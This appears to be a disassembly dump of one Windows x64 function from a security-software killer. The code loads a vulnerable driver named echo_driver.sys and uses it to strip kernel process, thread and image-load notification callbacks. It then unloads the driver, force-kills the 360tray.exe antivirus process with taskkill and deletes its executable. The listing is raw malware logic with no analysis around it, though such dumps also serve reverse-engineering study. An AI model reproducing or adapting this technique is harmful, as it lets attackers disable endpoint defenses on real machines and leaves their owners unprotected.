Function at 0x140002ec0
Capabilities:
Create process on windows
Delete file
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x650], rax
lea rcx, [0x140021a28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400031ed
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x140028c64]
lea rdx, [0x140027cb4]
lea rcx, [0x140027cb0]
call rax
mov edx, dword [0x140027cb0]
xor r14d, r14d
mov r8d, dword [0x140027cb4]
mov word [0x140028c66], r14w
mov r9d, dword [0x140028c64]
cmp edx, 0xa
jae 0x140002f67
lea rcx, str._ERROR__This_driver_does_not_support_the__d._d._d_version._n
call fcn.140001010
jmp 0x1400031ed
lea rcx, str.Windows_version:__d._d._d_version._n
call fcn.140001010
xor ecx, ecx
call fcn.14000a8ac
mov rcx, rax
call fcn.140007f28
call fcn.140007efc
mov ebx, eax
and ebx, 0x80000003
jge 0x140002f98
dec ebx
or ebx, 0xfffffffc
inc ebx
movaps xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
add ebx, 7
movaps xmm1, xmmword [0x140022510]
mov edx, 1
movzx eax, word [0x140022568]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm0, xmmword [0x140022520]
movaps xmmword [rbp + 0x70], xmm0
movaps xmm0, xmmword [0x140022540]
movaps xmmword [rbp + 0x60], xmm1
movaps xmm1, xmmword [0x140022530]
mov word [rbp + 0xb8], ax
lea eax, [rbx*2 + 0xc]
movaps xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x140022560]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x140022550]
movsxd rcx, eax
movsd qword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xa0], xmm1
call fcn.140007ef4
mov qword [0x140027cb8], rax
test rax, rax
je 0x1400035f8
movsxd rsi, ebx
mov rdi, r14
test ebx, ebx
jle 0x140003062
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [rax - 1]
call fcn.140007efc
cdq
idiv ebx
movsxd rax, edx
movzx ecx, word [rbp + rax*2 + 0x50]
mov rax, qword [0x140027cb8]
mov word [rax + rdi*2], cx
inc rdi
cmp rdi, rsi
jl 0x140003032
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x120]
call fcn.140004330
test rax, rax
je 0x1400035ec
lea r8, str.echo_driver.sys
mov byte [rax + 1], r14b
mov edx, 0x104
lea rcx, [rbp + 0x120]
call fcn.14000a934
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.14000a3cc
cmp eax, 0xffffffff
jne 0x1400030d8
lea rdx, [rbp + 0x120]
lea rcx, str.Error:__s_not_found_n
call fcn.140001010
jmp 0x1400031ed
lea rax, [rbp + 0x120]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, str..EchoDrv
xor r9d, r9d
mov qword [0x140028c68], rax
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
mov dword [0x140028c60], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140028c70], rax
cmp rax, 0xffffffffffffffff
jne 0x140003177
call fcn.140001070
test eax, eax
je 0x1400031e1
lea rcx, str.Driver_loaded_successfully._n
call fcn.140001010
mov qword [rsp + 0x30], r14
lea rcx, str..EchoDrv
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140028c70], rax
mov ecx, 0x1000
call fcn.14000a9a0
mov qword [rsp + 0x38], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
mov rcx, qword [0x140028c70]
xor r8d, r8d
mov dword [rsp + 0x28], 0x1000
mov edx, 0x9e6a0594
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], r14d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14000321b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_initialize_driver_1___d_n
mov edx, eax
call fcn.140001010
mov rcx, qword [0x140028c70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400031ed
lea rcx, str.Driver_loading_failed._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.140003620
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov edx, 1
lea ecx, [rdx + 0xf]
call fcn.140007ef4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x140028c70]
mov r9d, 8
mov qword [rsp + 0x38], r14
mov r8, rbx
mov dword [rbx], eax
mov edx, 0xe6224248
lea rax, [rsp + 0x50]
mov dword [rbx + 4], 0x10000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140003287
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_initialize_driver_2___d_n
jmp 0x1400031cb
mov rax, qword [rbx + 8]
lea rcx, str.PsSetCreateProcessNotifyRoutine
mov qword [0x140028c78], rax
call fcn.140001790
lea rcx, str.PsSetCreateThreadNotifyRoutine
mov rsi, rax
call fcn.140001790
lea rcx, str.PsSetLoadImageNotifyRoutine
mov rdi, rax
call fcn.140001790
mov rbx, rax
test rsi, rsi
je 0x1400032d5
lea rdx, str.PsSetCreateProcessNotifyRoutine
mov rcx, rsi
call fcn.140001b90
jmp 0x1400032e1
lea rcx, str.Failed_to_obtain_process_callback_address._n
call fcn.140001010
test rdi, rdi
je 0x1400032f7
lea rdx, str.PsSetCreateThreadNotifyRoutine
mov rcx, rdi
call fcn.140001b90
jmp 0x140003303
lea rcx, str.Failed_to_obtain_thread_callback_address._n
call fcn.140001010
test rbx, rbx
je 0x140003319
lea rdx, str.PsSetLoadImageNotifyRoutine
mov rcx, rbx
call fcn.140001b90
jmp 0x140003325
lea rcx, str.Image_loading_callback_address_acquisition_failed._n
call fcn.140001010
call fcn.140001e80
call fcn.140002370
call fcn.140002920
lea rcx, [0x140021a28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000335a
lea rcx, str.Unload_Driver_Error_1_n
call fcn.140001010
jmp 0x140003477
lea rdx, str.RtlAdjustPrivilege
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x50]
lea edx, [r8 + 1]
lea ecx, [rdx + 9]
call rax
test eax, eax
jns 0x140003390
lea rcx, str.Unload_Driver_Error_2_n
call fcn.140001010
jmp 0x140003477
lea rdx, str.RtlInitUnicodeString
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm0, xmmword [str.RegistryMachineSystemCurrentControlSet_]
lea rcx, [rbp + 0x50]
movaps xmm1, xmmword [0x140021ab0]
mov rbx, rax
mov rdx, qword [0x140027cb8]
movaps xmmword [rbp + 0x50], xmm0
movaps xmm0, xmmword [0x140021ac0]
movaps xmmword [rbp + 0x70], xmm0
movaps xmm0, xmmword [0x140021ae0]
movaps xmmword [rbp + 0x60], xmm1
movaps xmm1, xmmword [0x140021ad0]
movaps xmmword [rbp + 0x90], xmm0
movsd xmm0, qword [0x140021af0]
movaps xmmword [rbp + 0x80], xmm1
xorps xmm1, xmm1
movsd qword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xa8], xmm1
movups xmmword [rbp + 0xb8], xmm1
movups xmmword [rbp + 0xc8], xmm1
movups xmmword [rbp + 0xd8], xmm1
movups xmmword [rbp + 0xe8], xmm1
movups xmmword [rbp + 0xf8], xmm1
movups xmmword [rbp + 0x108], xmm1
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x58]
call rbx
lea rdx, str.NtUnloadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x58]
call rax
test eax, eax
js 0x140003469
lea rcx, str.Driver_uninstalled_successfully._n
call fcn.140001010
jmp 0x140003477
mov edx, eax
lea rcx, str.Unload_Driver_Error:__lx_n
call fcn.140001010
movups xmm0, xmmword [str.taskkill__IM_360tray.exe__F]
mov eax, dword [0x140022680]
lea r8, [rbp - 8]
mov dword [rbp + 0x10], eax
mov r9d, 0xffffffff
movups xmmword [rbp - 8], xmm0
lea rax, [rbp + 0x230]
mov dword [rsp + 0x28], 0x104
movsd xmm0, qword [0x140022678]
xor edx, edx
mov ecx, 0xfde9
movsd qword [rbp + 8], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x230]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x230]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [0x1400226b8]
lea r8, [rbp + 0x18]
movups xmm0, xmmword [str.C:Program_Files__x86_360360Safe_safemon360tray.exe]
mov dword [rbp + 0x48], eax
mov r9d, 0xffffffff
movzx eax, word [0x1400226bc]
xor edx, edx
movups xmm1, xmmword [0x140022698]
mov word [rbp + 0x4c], ax
mov ecx, 0xfde9
movzx eax, byte [0x1400226be]
movups xmmword [rbp + 0x18], xmm0
mov byte [rbp + 0x4e], al
lea rax, [rbp + 0x440]
movups xmm0, xmmword [0x1400226a8]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x28], xmm1
movups xmmword [rbp + 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp + 0x440]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1400031ed
lea rcx, str.Error:_Failed_to_get_the_directory_path._n
jmp 0x1400031e8
lea rcx, str.Random_Error__n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]